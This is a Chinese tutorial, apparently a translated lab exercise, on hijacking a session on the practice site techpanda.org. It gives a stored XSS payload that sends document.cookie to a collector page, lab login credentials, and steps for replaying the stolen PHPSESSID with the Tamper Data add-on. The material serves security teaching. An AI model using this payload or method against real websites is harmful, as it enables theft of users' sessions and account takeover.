在这个实际的场景中,我们将劫持位于www.techpanda.org(可能需要外网访问)的web应用程序的用户会话。我们将使用跨站点脚本来获取cookie会话id,然后使用它来模拟一个合法的用户会话。
假设攻击者可以访问web应用程序,并且他想劫持使用同一应用程序的其他用户的会话。这种攻击的目标可能是获得对web应用程序的管理访问权,假设攻击者的访问帐户是有限的。
准备开始
- 打开http://www.techpanda.org/
- 登录邮箱为admin@google.com,密码为Password2010
- 如果你已经成功登录,那么你将跳转到如下页面
- 点击Add New Contact
- 输入以下内容作为first name
<a href=# onclick="document.location='http://techpanda.org/snatch_sess_id.php?c='+escape(document.cookie);">Dark</a>
上面的代码使用了JavaScript,它添加了一个带有onclick事件的超链接。当不知情的用户单击该链接时,事件将检索PHP cookie会话ID并将其连同URL中的会话ID一起发送到snatch_sess_id.php页面
- 输入如下所示的其余细节
- 点击Save Changes
- 现在,你的仪表板将看起来像下面这样
- 因为跨站点脚本代码存储在数据库中,所以每次有访问权限的用户登录时都会加载它
- 让我们假设管理员登录并单击显示为Dark的超链接
- 我们将获得一个显示在URL中的会话id的窗口
注意:脚本可以将值发送到存储PHPSESSID的远程服务器,然后用户重定向回网站,就像什么都没有发生一样。
使用Firefox和Tamper Data插件来模拟会话
下面的流程图显示了完成这个练习必须采取的步骤。
- 你将需要Firefox web浏览器和Tamper Data插件来完成这部分
- 打开Firefox并安装添加,如下图所示
- 搜索tamper data,然后单击安装,如上所示
- 点击Accept and Install…
- 当安装完成时,单击Restart now
- 如果菜单栏没有显示,请启用它
- 单击tools,然后选择tamper data,如下所示
- 你将看到以下窗口。注意:如果窗户不是空,点击clear按钮
- 点击Start Tamper
- 切换回Firefox web浏览器,输入http://www.techpanda.org/dashboard.php,然后按enter键加载页面
- 你将从tamper data中得到以下弹出框
- 弹出窗口有三个选项。Tamper选项允许你在将HTTP头信息提交给服务器之前修改它。
- 点击它,你将看到以下窗口
- 复制从攻击URL复制的PHP会话ID,并将其粘贴到等号后面。现在你的值应该是这样的
PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2
- 点击OK按钮
- 你将再次看到tamper data弹出窗口
- 取消Continue Tampering复选框
- 完成后单击submit按钮,你应该能够看到如下所示的信息
注意:我们没有登录,我们使用使用跨站点脚本检索到的PHPSESSID值模拟了一个登录会话
希望通过这篇文章你们能够对网络渗透有一个初步了解。
关注我,阅读更多精彩好文